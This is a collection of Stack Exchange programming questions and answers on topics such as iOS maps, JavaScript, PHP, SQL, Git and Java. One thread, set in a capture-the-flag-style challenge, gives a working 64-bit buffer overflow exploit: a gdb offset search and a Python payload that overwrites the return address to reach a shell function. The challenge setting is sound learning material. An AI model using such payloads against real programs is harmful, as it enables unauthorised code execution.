问:
Display google navigation based on given locations
I am working on google maps integration I am trying to display google navigation at present I am using the following code. I am trying to display like google navigation based on location what I pass through the api

```<code>NSURL *url=[[NSURL alloc] initWithString:[NSString stringWithFormat:@"http://maps.googleapis.com/maps/api/directions/json?origin=%f,%f&destination=%f,%f&alternateroutes=false&sensor=true" ,12.920631,77.670494,8.3075,77.2218]];
NSURLResponse *res;
NSError *err;NSURL *url=[[NSURL alloc] initWithString:[NSString stringWithFormat:@"http://maps.googleapis.com/maps/api/directions/json?origin=%f,%f&destination=%f,%f&alternateroutes=false&sensor=true" ,12.920631,77.670494,8.3075,77.2218]];
NSURLResponse *res;
NSError *err;

NSData *data=[NSURLConnection sendSynchronousRequest:[[NSURLRequest alloc] initWithURL:url] returningResponse:&res error:&err];
if(data)
{
    NSDictionary *dic=[NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:nil];
    if(dic)
    {
            NSArray *routes=dic[@"routes"];
            NSArray *legs=routes[0][@"legs"];
            NSArray *steps=legs[0][@"steps"];
            NSLog(@"the legs are:%@",steps);
            NSMutableArray *textsteps=[[NSMutableArray alloc] init];
            NSMutableArray *latlong=[[NSMutableArray alloc]init];
            for(int i=0; i< [steps count]; i++){
                NSString *html=steps[i][@"html_instructions"];
                [latlong addObject:steps[i][@"end_location"]];
                NSLog(@"the data:%@",steps[i][@"end_location"]);
                [textsteps addObject:html];
                encodedPath    = [[[steps objectAtIndex:i] valueForKey:@"polyline"] valueForKey:@"points"];
                [self polylineWithEncodedString:encodedPath];

                polyline.strokeColor = [UIColor redColor];
                polyline.strokeWidth = 2.f;
                polyline.map = mapView;
                NSLog(@"the encoded patg:%@",encodedPath);

                GMSMarker *marker1 = [[GMSMarker alloc]init];
                marker1.map = mapView;
                NSLog(@"Direction path");
}

}
else
{
    UIAlertView *alert = [[UIAlertView alloc]initWithTitle:@"" message:@"Connection Error" delegate:self cancelButtonTitle:@"OK" otherButtonTitles:@"", nil];
    [alert show];
}
</code>```

I am expecting an output like

答:
Hoping you are expecting like this code </p>

```<code>if ([[UIApplication sharedApplication] canOpenURL:
 [NSURL URLWithString:@"comgooglemaps://"]]) {
[[UIApplication sharedApplication] openURL:
[NSURL URLWithString:@"comgooglemaps://?center=40.765819,-73.975866&zoom=14&views=traffic"]];
} else {
 NSLog(@"Can't use comgooglemaps://");
}
</code>```

Body:
I am working on google maps integration I am trying to display google navigation at present I am using the following code. I am trying to display like google navigation based on location what I pass through the api

NSURL *url=[[NSURL alloc] initWithString:[NSString stringWithFormat:@"http://maps.googleapis.com/maps/api/directions/json?origin=%f,%f&destination=%f,%f&alternateroutes=false&sensor=true" ,12.920631,77.670494,8.3075,77.2218]];
NSURLResponse *res;
NSError *err;NSURL *url=[[NSURL alloc] initWithString:[NSString stringWithFormat:@"http://maps.googleapis.com/maps/api/directions/json?origin=%f,%f&destination=%f,%f&alternateroutes=false&sensor=true" ,12.920631,77.670494,8.3075,77.2218]];
NSURLResponse *res;
NSError *err;

NSData *data=[NSURLConnection sendSynchronousRequest:[[NSURLRequest alloc] initWithURL:url] returningResponse:&res error:&err];
if(data)
{
    NSDictionary *dic=[NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:nil];
    if(dic)
    {
            NSArray *routes=dic[@"routes"];
            NSArray *legs=routes[0][@"legs"];
            NSArray *steps=legs[0][@"steps"];
            NSLog(@"the legs are:%@",steps);
            NSMutableArray *textsteps=[[NSMutableArray alloc] init];
            NSMutableArray *latlong=[[NSMutableArray alloc]init];
            for(int i=0; i< [steps count]; i++){
                NSString *html=steps[i][@"html_instructions"];
                [latlong addObject:steps[i][@"end_location"]];
                NSLog(@"the data:%@",steps[i][@"end_location"]);
                [textsteps addObject:html];
                encodedPath    = [[[steps objectAtIndex:i] valueForKey:@"polyline"] valueForKey:@"points"];
                [self polylineWithEncodedString:encodedPath];

                polyline.strokeColor = [UIColor redColor];
                polyline.strokeWidth = 2.f;
                polyline.map = mapView;
                NSLog(@"the encoded patg:%@",encodedPath);

                GMSMarker *marker1 = [[GMSMarker alloc]init];
                marker1.map = mapView;
                NSLog(@"Direction path");
}

}
else
{
    UIAlertView *alert = [[UIAlertView alloc]initWithTitle:@"" message:@"Connection Error" delegate:self cancelButtonTitle:@"OK" otherButtonTitles:@"", nil];
    [alert show];
}

I am expecting an output like

Body:
Hoping you are expecting like this code

if ([[UIApplication sharedApplication] canOpenURL:
 [NSURL URLWithString:@"comgooglemaps://"]]) {
[[UIApplication sharedApplication] openURL:
[NSURL URLWithString:@"comgooglemaps://?center=40.765819,-73.975866&zoom=14&views=traffic"]];
} else {
 NSLog(@"Can't use comgooglemaps://");
}


来源: stackexchange

问:
Javascript namespace and problem with IE7
I implemented a Javascript namespacing solution based on this answer to another stack overflow question: How do I declare a namespace in JavaScript?

Let's call this isigma-ns.js:

```<code>var ISIGMA = {
  messages: {
    noValidId: "No valid ID found",
    reason: "Reason",
    // etc...
  },

  language: "ca",
  SIGN: 2,
  PAUSE: 400,
  params: {},

  init: function(params) {
    // etc...
  },

  delay: function(callback) {
    // etc...
  },

  // etc...

  signURL: function(cert, url) {
    // etc...
  }
};
</code>```

I include this script in my page, plus other stuff:

```<code><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
    <title>Isigma Signature Widget</title>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8"/>

    <!-- Required javascript and styles for isigma widget-->
    <script type="text/javascript" src="/isme/media/signwidget/jquery-1.4.4.min.js"></script>
    <script type="text/javascript" src="/isme/media/signwidget/isigma-ns.js"></script>
    <script type="text/javascript">
    $(function(){
        $("#applet").isigmaSignatureApplet({
            purpose: ISIGMA.SIGN,
            url: the_url,
            language: 'es'
        });
    });
    </script>
</code>```

...etc...

It works fine in Firefox, IE8, Chrome, Opera... but fails in IE7 with the message "ISIGMA is not defined" - referring to the line where I make a reference to ISIGMA.SIGN.

Any hints about what can be wrong here? Is there anything wrong with IE7 processing order of Javascript files? Any other guess?

Note: for a full reference, the whole thing is running in http://app.portasigma.com/isme/signwidget/iframe/ and the namespace JS file is really named http://app.portasigma.com/isme/media/signwidget/jquery-isigmaWidget.js

答:
It is the comma after "Reason".  See: http://jsbin.com/upiba5/2/edit
Edit: on your live site, the extra comma I see is after:

documentLockedByAnother: "This
  document is currently locked by
  another user, try again later",

```<code>  var ISIGMA = {
  messages: {
    noValidId: "No valid ID found",
    reason: "Reason"
    // etc...
  },

  language: "ca",
  SIGN: 2,
  PAUSE: 400,
  params: {},

  init: function(params) {
    // etc...
  },

  delay: function(callback) {
    // etc...
  },

  // etc...

  signURL: function(cert, url) {
    // etc...
  }
};
</code>```

ContentLicense: CC BY-SA 2.5

Body:
I implemented a Javascript namespacing solution based on this answer to another stack overflow question: How do I declare a namespace in JavaScript?

Let's call this isigma-ns.js:

var ISIGMA = {
  messages: {
    noValidId: "No valid ID found",
    reason: "Reason",
    // etc...
  },

  language: "ca",
  SIGN: 2,
  PAUSE: 400,
  params: {},

  init: function(params) {
    // etc...
  },

  delay: function(callback) {
    // etc...
  },

  // etc...

  signURL: function(cert, url) {
    // etc...
  }
};

I include this script in my page, plus other stuff:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

    <title>Isigma Signature Widget</title>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8"/>

...etc...

It works fine in Firefox, IE8, Chrome, Opera... but fails in IE7 with the message "ISIGMA is not defined" - referring to the line where I make a reference to ISIGMA.SIGN.

Any hints about what can be wrong here? Is there anything wrong with IE7 processing order of Javascript files? Any other guess?

Note: for a full reference, the whole thing is running in http://app.portasigma.com/isme/signwidget/iframe/ and the namespace JS file is really named http://app.portasigma.com/isme/media/signwidget/jquery-isigmaWidget.js

Body:
It is the comma after "Reason".  See: http://jsbin.com/upiba5/2/edit
Edit: on your live site, the extra comma I see is after:

documentLockedByAnother: "This
  document is currently locked by
  another user, try again later",

  var ISIGMA = {
  messages: {
    noValidId: "No valid ID found",
    reason: "Reason"
    // etc...
  },

  language: "ca",
  SIGN: 2,
  PAUSE: 400,
  params: {},

  init: function(params) {
    // etc...
  },

  delay: function(callback) {
    // etc...
  },

  // etc...

  signURL: function(cert, url) {
    // etc...
  }
};


问:
Mysql error Invalid parameter number: parameter was not defined
This is my code. I'm unable to execute it.

This is the error message I get on the $db->execute(); line:

SQLSTATE[HY093]: Invalid parameter number: parameter was not defined'

```<code>$query = "UPDATE gateway_devices "
        ."SET coin_lat=:coin_lat, coin_lng=:coin_lng"
        ."WHERE nick_name=:nick_name AND gateway_id=:g_id AND device_id=:d_id";

$db->query($query);
$db->bind(':coin_lat', $coin_lat);
$db->bind(':coin_lng', $coin_lng);
$db->bind(':nick_name', $nick_name);
$db->bind(':g_id', $g_id);
$db->bind(':d_id', $d_id);
$db->execute();
</code>```

答:
all i had to do was add a space on line 2 before closing the double quote.

this is how the query looks like before and after adding the whitespace.

before - "UPDATE gateway_devices SET coin_lat=:coin_lat, coin_lng=:coin_lngWHERE nick_name=:nick_name AND gateway_id=:g_id AND device_id=:d_id"

after - "UPDATE gateway_devices SET coin_lat=:coin_lat, coin_lng=:coin_lng WHERE nick_name=:nick_name AND gateway_id=:g_id AND device_id=:d_id"

ContentLicense: CC BY-SA 3.0

Body:
This is my code. I'm unable to execute it.

This is the error message I get on the $db->execute(); line:

SQLSTATE[HY093]: Invalid parameter number: parameter was not defined'

$query = "UPDATE gateway_devices "
        ."SET coin_lat=:coin_lat, coin_lng=:coin_lng"
        ."WHERE nick_name=:nick_name AND gateway_id=:g_id AND device_id=:d_id";

$db->query($query);
$db->bind(':coin_lat', $coin_lat);
$db->bind(':coin_lng', $coin_lng);
$db->bind(':nick_name', $nick_name);
$db->bind(':g_id', $g_id);
$db->bind(':d_id', $d_id);
$db->execute();


问:
javascript if a html element text equal with 0, addClass to an element
I have an element that contains the discount of a product

0
        %

```

I want, if the element with id="mydiscouttext" equal to 0, addClass "hide".

I am looking for a solution with javascript.

Any idea?

答:
I would recommend to put it inside a span like the percent and try to put make a javascript like this</p>

```<code><div>
<span id="mydiscouttext">0</span>
<span>%</span>
</div>

<script>
$( document ).ready(function(){

var text = $("#mydiscouttext").html();

if(text == "0")
 $("#mydiscouttext").hide();

});

</script>
</code>```

Body:
I have an element that contains the discount of a product

0
        %

I want, if the element with id="mydiscouttext" equal to 0, addClass "hide".

I am looking for a solution with javascript.

Any idea?

Body:
I would recommend to put it inside a span like the percent and try to put make a javascript like this

<div>
<span id="mydiscouttext">0</span>
<span>%</span>
</div>

<script>
$( document ).ready(function(){

var text = $("#mydiscouttext").html();

if(text == "0")
 $("#mydiscouttext").hide();

});

</script>


问:
How to remove Controller and method name from URL in CodeIgniter
Currently my URLs look like this

http://www.domain12.co.un/register/user/A123

I want to remove /register/user/ from URL So, It should look something like this.

http://www.domain12.co.un/A123

Parameter A123 is not constant in above URL, It may change B123, G123, 3FG567... etc.

I gone through this but getting 404 error. I have added below code in my routes.php but it's not redirecting to other page.

 $route['(:any)'] = "register/user/$1";```

答:
Do one more thing..

Create .htaccess file and paste the below code

```<code><IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?/$1 [L]
</IfModule>
</code>```

and save this .htaccess file in your root folder and then try

ContentLicense: CC BY-SA 4.0

Body:
Do one more thing..

Create .htaccess file and paste the below code

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?/$1 [L]
</IfModule>

and save this .htaccess file in your root folder and then try


问:
Schema based multitenancy with maria DB, JPA and spring boot 1.5.4
I have implemented schema based multi-tenancy with single connection pool using :
Spring Boot 1.5.4, Spring Data Source, MariaDB, JPA

I have included following files for multi-tenancy:
CurrentTenantIdentifierResolver -- To identify current tenant
MultiTenantConnectionProvider -- To switch schema and release connection
TenantInterceptor -- interceptor
TenantContext -- Thread local context
application properties -- datasource properties

In case of MYSQL(used mysql driver and dialect):
My code is working fine if I use MySQL data base. I am able to connect to right tenant every time.

In case of MariaDB(used maria DB driver and dialect):
when I make call to server first time, I am getting data from right tenant(T1). After that if I change my tenant(T2) and make server call, I am getting data for first tenant(T1), which is wrong.
I got a work around for this issue. If I skip connecion.close in MultiTenantConnectionProvider.java, code will work fine. But skipping connection.close is not the good approach and it will not work in production.

Please provide some input, Why same code is working fine with MySql but not with Maria DB ???

答:
Solution:
Updated mariadb driver to version 2.0.3</p>

```<code><properties>
    <hibernate.version>5.2.8.Final</hibernate.version>
    <mariadb.version>2.0.3</mariadb.version>
</properties>
</code>```

Body:
Solution:
Updated mariadb driver to version 2.0.3

<properties>
    <hibernate.version>5.2.8.Final</hibernate.version>
    <mariadb.version>2.0.3</mariadb.version>
</properties>


问:
Buffer overflow - linux 64bit
I have been working on a test program for the "buffer overflow linux 64bit" challenge. When launching the program, it prompts for a password.

The purpose is to exploit a buffer overflow fault at the password field to access the shell part. As I am a beginner in this field. I went to follow some tutorial on the net. I fell several times on this site before and during my research to better understand the source code found in main.c also in the link below.

I use GDB and objdump on Linux for breakpoints and disassembly.

Findings/Steps taken:

The password entered is stored in RSP when I do the conversion of
the shell address, which is of the kind on my PC 0x555555559bd in
ASCII.

Then, I invert all I get: ½IUUUU.

When I enter this value as a password, I get address 0x555555559bd exactly in  RSP registry.

I also know that I can crush the value of RBP by typing for example: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa½IUUUU.

The address is written "½IUUUU" in RBP.

Question: That's where I'm blocked I would just like to know what kind of injection I could do to do a jump at address 0x9bd?

Here is the file containing the source code and the cc command:
http://mtnb.be/test_login_overflow.rar.

Code:

```<code>#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BANNER "\n\
BUFFER OVER FLOW TEST\n\
"

char passwd[33] = {0};

void readPasswd(){
  FILE *file = fopen("/home/user/passwd", "r");
  if (!file){
    puts("ERROR: Unable to read /home/user/passwd");
    exit(1);
  }
  fread(passwd, 1, 32, file);
}

void runShell()
{
  system("bash");
}

int check_passwd(){
  char debug = 0;
  char buffer[33] = {0};

  puts("Enter your password:");
  fflush(stdout);
  scanf("%s", buffer);

  if (debug){
    printf("runShell @ %p\n", runShell);
    fflush(stdout);
  }
  if (strncmp(passwd, buffer, 32))
    return 0;
  else
    return 1;
}

void login()
{
  while (1){
    if (check_passwd())
      break;
    puts("Invalid password !");
    fflush(stdout);
  }
  puts("Welcome admin, here is your shell !");
  fflush(stdout);
  runShell();
}

int main()
{
  char passwd[33] = {0};
  puts(BANNER);
  fflush(stdout);
  readPasswd();
  login();

  return 0;
}
</code>```

答:
It is a simple buffer overflow, as you can see the buffer overflow happens in the scanf function:

```<code>  char buffer[33] = {0};

  puts("Enter your password:");
  fflush(stdout);
  scanf("%s", buffer);
</code>```

To exploit it, first you should know the offset to overwrite the instruction program (RIP) and get the execution control,

I use gdb + PEDA:

```<code>gdb-peda$ pattern create 100 input
gdb-peda$ r < input
...
gdb-peda$ patts
Registers contain pattern buffer:
RBP+0 found at offset: 48
Registers point to pattern buffer:
[RSP] --> offset 56 - size ~44
...
</code>```

Now, we have the offset to exploit the buffer overflow. So, we can get the EIP control.

```<code>[manu@debian /tmp]$ python -c 'print "A"*56+"BBBBBBBB"' > input

gdb-peda$ r < input
...
   0x4008b7 <check_passwd+174>: leave
=> 0x4008b8 <check_passwd+175>: ret
...
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe248 ("BBBBBBBB")
</code>```

We know that when the ret instruction is called, the EIP will be the address in the top of the stack. So, we change te address by 0x4007f9 and run the shell.

```<code>[manu@debian /tmp]$ readelf -s bof
...
    60: 0000000000600ee0     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
    61: 00000000004007f9    16 FUNC    GLOBAL DEFAULT   13 runShell
    62: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
...

[manu@debian /tmp]$ python -c 'print "A"*56+"\xf9\x07\x40\x00\x00\x00\x00\x00"' > input
[manu@debian /tmp]$ (cat input;cat) | ./bof

BUFFER OVER FLOW TEST

Enter your password:
runShell @ 0x4007f9
id
uid=1000(manu) gid=1000(manu) grupos=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),119(bluetooth)
</code>```

Title: Buffer overflow - linux 64bit

Body:
I have been working on a test program for the "buffer overflow linux 64bit" challenge. When launching the program, it prompts for a password.

The purpose is to exploit a buffer overflow fault at the password field to access the shell part. As I am a beginner in this field. I went to follow some tutorial on the net. I fell several times on this site before and during my research to better understand the source code found in main.c also in the link below.

I use GDB and objdump on Linux for breakpoints and disassembly.

Findings/Steps taken:

The password entered is stored in RSP when I do the conversion of
the shell address, which is of the kind on my PC 0x555555559bd in
ASCII.

Then, I invert all I get: ½IUUUU.

When I enter this value as a password, I get address 0x555555559bd exactly in  RSP registry.

I also know that I can crush the value of RBP by typing for example: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa½IUUUU.

The address is written "½IUUUU" in RBP.

Question: That's where I'm blocked I would just like to know what kind of injection I could do to do a jump at address 0x9bd?

Here is the file containing the source code and the cc command:
http://mtnb.be/test_login_overflow.rar.

Code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BANNER "\n\
BUFFER OVER FLOW TEST\n\
"

char passwd[33] = {0};

void readPasswd(){
  FILE *file = fopen("/home/user/passwd", "r");
  if (!file){
    puts("ERROR: Unable to read /home/user/passwd");
    exit(1);
  }
  fread(passwd, 1, 32, file);
}

void runShell()
{
  system("bash");
}

int check_passwd(){
  char debug = 0;
  char buffer[33] = {0};

  puts("Enter your password:");
  fflush(stdout);
  scanf("%s", buffer);

  if (debug){
    printf("runShell @ %p\n", runShell);
    fflush(stdout);
  }
  if (strncmp(passwd, buffer, 32))
    return 0;
  else
    return 1;
}

void login()
{
  while (1){
    if (check_passwd())
      break;
    puts("Invalid password !");
    fflush(stdout);
  }
  puts("Welcome admin, here is your shell !");
  fflush(stdout);
  runShell();
}

int main()
{
  char passwd[33] = {0};
  puts(BANNER);
  fflush(stdout);
  readPasswd();
  login();

  return 0;
}

Body:
It is a simple buffer overflow, as you can see the buffer overflow happens in the scanf function:

  char buffer[33] = {0};

  puts("Enter your password:");
  fflush(stdout);
  scanf("%s", buffer);

To exploit it, first you should know the offset to overwrite the instruction program (RIP) and get the execution control,

I use gdb + PEDA:

gdb-peda$ pattern create 100 input
gdb-peda$ r < input
...
gdb-peda$ patts
Registers contain pattern buffer:
RBP+0 found at offset: 48
Registers point to pattern buffer:
[RSP] --> offset 56 - size ~44
...

Now, we have the offset to exploit the buffer overflow. So, we can get the EIP control.

[manu@debian /tmp]$ python -c 'print "A"*56+"BBBBBBBB"' > input

gdb-peda$ r < input
...
   0x4008b7 <check_passwd+174>: leave
=> 0x4008b8 <check_passwd+175>: ret
...
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe248 ("BBBBBBBB")

We know that when the ret instruction is called, the EIP will be the address in the top of the stack. So, we change te address by 0x4007f9 and run the shell.

[manu@debian /tmp]$ readelf -s bof
...
    60: 0000000000600ee0     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
    61: 00000000004007f9    16 FUNC    GLOBAL DEFAULT   13 runShell
    62: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
...

[manu@debian /tmp]$ python -c 'print "A"*56+"\xf9\x07\x40\x00\x00\x00\x00\x00"' > input
[manu@debian /tmp]$ (cat input;cat) | ./bof

BUFFER OVER FLOW TEST

Enter your password:
runShell @ 0x4007f9
id
uid=1000(manu) gid=1000(manu) grupos=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),119(bluetooth)


问:
Catching thread exceptions from Java ExecutorService
I'm working on a software development framework for parallel computing JavaSeis.org. I need a robust mechanism for reporting thread exceptions. During development, knowing where exceptions came from has high value, so I would like to err on the side of over-reporting. I would also like to be able to handle Junit4 testing in threads as well. Is the approach below reasonable or is there a better way ?</p>

```<code>import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;

public class TestThreadFailure {

  public static void main(String[] args) {
    int size = 1;
    ExecutorService exec = Executors.newFixedThreadPool(size);
    ThreadFailTask worker = new ThreadFailTask();
    Future<Integer> result = exec.submit(worker);
    try {
      Integer value = result.get();
      System.out.println("Result: " + value);
    } catch (Throwable t) {
      System.out.println("Caught failure: " + t.toString());
      exec.shutdownNow();
      System.out.println("Stack Trace:");
      t.printStackTrace();
      return;
    }
    throw new RuntimeException("Did not catch failure !!");
  }

  public static class ThreadFailTask implements Callable<Integer> {
    @Override
    public Integer call() {
      int nbuf = 65536;
      double[][] buf = new double[nbuf][nbuf];
      return new Integer((int) buf[0][0]);
    }
  }
}
</code>```

答:
I don't believe there is a standard 'hook' to get to these exceptions when using submit(). However, if you need to support submit() (which sounds reasonable, given that you use a Callable), you can always wrap the Callables and Runnables :

```<code>ExecutorService executor = new ThreadPoolExecutor(1, 10, 60, TimeUnit.SECONDS, new LinkedBlockingDeque<Runnable>()) {
    @Override
    public <T> Future<T> submit(final Callable<T> task) {
        Callable<T> wrappedTask = new Callable<T>() {
            @Override
            public T call() throws Exception {
                try {
                    return task.call();
                }
                catch (Exception e) {
                    System.out.println("Oh boy, something broke!");
                    e.printStackTrace();
                    throw e;
                }
            }
        };

        return super.submit(wrappedTask);
    }
};
</code>```

Of course, this method only works if you're the one building the ExecutorService in the first place. Furthermore, remember to override all three submit() variants.

Body:
I'm working on a software development framework for parallel computing JavaSeis.org. I need a robust mechanism for reporting thread exceptions. During development, knowing where exceptions came from has high value, so I would like to err on the side of over-reporting. I would also like to be able to handle Junit4 testing in threads as well. Is the approach below reasonable or is there a better way ?

import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;

public class TestThreadFailure {

  public static void main(String[] args) {
    int size = 1;
    ExecutorService exec = Executors.newFixedThreadPool(size);
    ThreadFailTask worker = new ThreadFailTask();
    Future<Integer> result = exec.submit(worker);
    try {
      Integer value = result.get();
      System.out.println("Result: " + value);
    } catch (Throwable t) {
      System.out.println("Caught failure: " + t.toString());
      exec.shutdownNow();
      System.out.println("Stack Trace:");
      t.printStackTrace();
      return;
    }
    throw new RuntimeException("Did not catch failure !!");
  }

  public static class ThreadFailTask implements Callable<Integer> {
    @Override
    public Integer call() {
      int nbuf = 65536;
      double[][] buf = new double[nbuf][nbuf];
      return new Integer((int) buf[0][0]);
    }
  }
}

Body:
I don't believe there is a standard 'hook' to get to these exceptions when using submit(). However, if you need to support submit() (which sounds reasonable, given that you use a Callable), you can always wrap the Callables and Runnables :

ExecutorService executor = new ThreadPoolExecutor(1, 10, 60, TimeUnit.SECONDS, new LinkedBlockingDeque<Runnable>()) {
    @Override
    public <T> Future<T> submit(final Callable<T> task) {
        Callable<T> wrappedTask = new Callable<T>() {
            @Override
            public T call() throws Exception {
                try {
                    return task.call();
                }
                catch (Exception e) {
                    System.out.println("Oh boy, something broke!");
                    e.printStackTrace();
                    throw e;
                }
            }
        };

        return super.submit(wrappedTask);
    }
};

Of course, this method only works if you're the one building the ExecutorService in the first place. Furthermore, remember to override all three submit() variants.


问:
Fix Git Branching with Detached Head and Unrelated Histories
I need to fix a Git repository that has a detached head and 2 consecutive branches with unrelated histories. I have to use SourceTree at work, but I can use command lines too if needed.
What I have to do is to reconcile the current [Head] (3 on the image) with the [origin/master][origin/head][master] (2) without loosing the commits in between. I would also like to merge (or re-attach) the 2 branches (pink and blue). (I only want 1 branch in total). I am not sure in which order it would be best to proceed: reconciling the [Head] and [origin/master] or re-attaching the 2 branches.

Git Repository Image

I had to hide all the names and comments as this is for work and the content I am allowed sharing is restricted. And sorry if this question is not up to the best standards, it is my first question on any kind of forum.

答:
Once you create a branch label at HEAD, then you will be free to checkout other branches without losing any of your commit history (Ofcourse later you can still retrieve the commit histories provided you know the SHA-IDs, but that's difficult to keep track of)

So first thing first, create a local branch at where your HEAD is

git branch develop

(develop is some branch name, you can give any other name as you wish)

Now if you see your source tree, you will see both HEAD and develop (or whatever name you gave in the above git command). You are now free to checkout master branch.

git checkout master

Once you do, your HEAD will now be at master. Remember: HEAD tells you which snapshot (or which commit) your current code is in.

Next if you want to get the commits of your develop branch (branch which you just created above) in the master as well, all you need to do is merge

Assuming you are in master branch (If you are not, then checkout master)

git merge develop

(This brings develop branch commits in local master)

git push origin master

(This pushes those changes to remote/master)

Tip:  Instead of merge, there is a better option rebase available in git. But I assume you are new to git, so its better for you to go through some online material and study about it to understand the difference between merge and rebase. (Or you can ask your peers to explain you)


问:
Adding value to column depending on LIKE
I have SSMS 2008 R2. This is my table

```<code>PK | DateOf           | Other Columns | Items
01 | 05/30/2017 15:30 | Blah          | truck, elephant, apple, . . .
02 | 04/15/2012 07:07 | Bluh          | foot, orange, horse, . . .
03 | 11/01/2016 10:30 | Wham          | apple, screen, penny, . . .
</code>```

I am trying to search the Items column for each record and count how many times the fruits occur. Conveniently enough, there will only be a single fruit for each record, but it would be cool if the solution would be able to handle several fruits (maybe even duplicates). The result table would look like this for the above

```<code>Count | Fruit
2     | Apple
1     | Orange
</code>```

I have a complete list of the "fruits". I was trying to figure out how to make it work with LIKE's.

```<code>SELECT
count(PK) AS [Count]
??? AS [Fruit]
WHERE DateOf >= '2011-01-01 00:00' AND DateOf < '2012-01-01 00:00'
AND Items LIKE '%Apple%' --??(some kind of code that looks for the fruit values??)
</code>```

答:
This is the wrong way to store lists.  But, sometimes we are stuck with other people's really bad design decisions.

In this case, you want a split() function.  SQL Server 2016 offers one.  You can also find code for one on the web (Google "SQL Server split string"):

```<code>SELECT ss.fruit, count(*) AS [Count]
FROM t CROSS APPLY
     string_split(t.items) ss(fruit)
WHERE DateOf >= '2011-01-01' AND DateOf < '2012-01-01'
GROUP BY ss.fruit;
</code>```

Body:
I have SSMS 2008 R2. This is my table

PK | DateOf           | Other Columns | Items
01 | 05/30/2017 15:30 | Blah          | truck, elephant, apple, . . .
02 | 04/15/2012 07:07 | Bluh          | foot, orange, horse, . . .
03 | 11/01/2016 10:30 | Wham          | apple, screen, penny, . . .

I am trying to search the Items column for each record and count how many times the fruits occur. Conveniently enough, there will only be a single fruit for each record, but it would be cool if the solution would be able to handle several fruits (maybe even duplicates). The result table would look like this for the above

Count | Fruit
2     | Apple
1     | Orange

I have a complete list of the "fruits". I was trying to figure out how to make it work with LIKE's.

SELECT
count(PK) AS [Count]
??? AS [Fruit]
WHERE DateOf >= '2011-01-01 00:00' AND DateOf < '2012-01-01 00:00'
AND Items LIKE '%Apple%' --??(some kind of code that looks for the fruit values??)

Body:
This is the wrong way to store lists.  But, sometimes we are stuck with other people's really bad design decisions.

In this case, you want a split() function.  SQL Server 2016 offers one.  You can also find code for one on the web (Google "SQL Server split string"):

SELECT ss.fruit, count(*) AS [Count]
FROM t CROSS APPLY
     string_split(t.items) ss(fruit)
WHERE DateOf >= '2011-01-01' AND DateOf < '2012-01-01'
GROUP BY ss.fruit;


问:
display dynamic tags in meta tag
On my index.php, i am trying to implode an array of meta tags loaded from MYSQL db. I am trying to echo it in <meta> tag. But it shows the last tag only. Why is it so?

html

```<code>$meta_t=mysqli_query($con,"select * from tags");
while($row1=mysqli_fetch_array($meta_t,MYSQLI_ASSOC)){
    $meta_tags=array();
    $meta_tags[]=$row1['tag_name'];
    $comma_separated = implode($meta_tags);
   }
?>

<!DOCTYPE html>
<html lang="en">
<head>

    <meta charset="utf-8" />
    <title>GripOffers</title>
    <meta name="keywords" content="<?php echo $comma_separated;?>">
</code>```

答:
Issue 1 : You can set $meta_tags in while loop so it can be initialize all time.
  Issue 2 : Implode $comma_separated array variable is not proper in loop.

```<code><?php
    $meta_t=mysqli_query($con,"select * from tags");
    $meta_tags=array();
    while($row1=mysqli_fetch_array($meta_t,MYSQLI_ASSOC)){
        $meta_tags[]=$row1['tag_name'];
    }
    $comma_separated = implode($meta_tags);
?>
</code>```

Title: display dynamic tags in meta tag

Body:
On my index.php, i am trying to implode an array of meta tags loaded from MYSQL db. I am trying to echo it in <meta> tag. But it shows the last tag only. Why is it so?

html

$meta_t=mysqli_query($con,"select * from tags");
while($row1=mysqli_fetch_array($meta_t,MYSQLI_ASSOC)){
    $meta_tags=array();
    $meta_tags[]=$row1['tag_name'];
    $comma_separated = implode($meta_tags);
   }
?>

<!DOCTYPE html>

    <meta charset="utf-8" />
    <title>GripOffers</title>
    <meta name="keywords" content="<?php echo $comma_separated;?>">

Body:
Issue 1 : You can set $meta_tags in while loop so it can be initialize all time.
  Issue 2 : Implode $comma_separated array variable is not proper in loop.

<?php
    $meta_t=mysqli_query($con,"select * from tags");
    $meta_tags=array();
    while($row1=mysqli_fetch_array($meta_t,MYSQLI_ASSOC)){
        $meta_tags[]=$row1['tag_name'];
    }
    $comma_separated = implode($meta_tags);
?>


问:
Making request from client application (ReactJs+NodeJs) to Java web service
I have separate application for client side which is in ReactJs and NodeJS (Express server) and Web Services in Java application running in tomcat.

My query is which is better approach in terms of making web service call.

One is making direct web service call from ReactJS and get the data.

Other one is calling web service in Express server. Request from client browser will go to Express and Express will make all web services call.

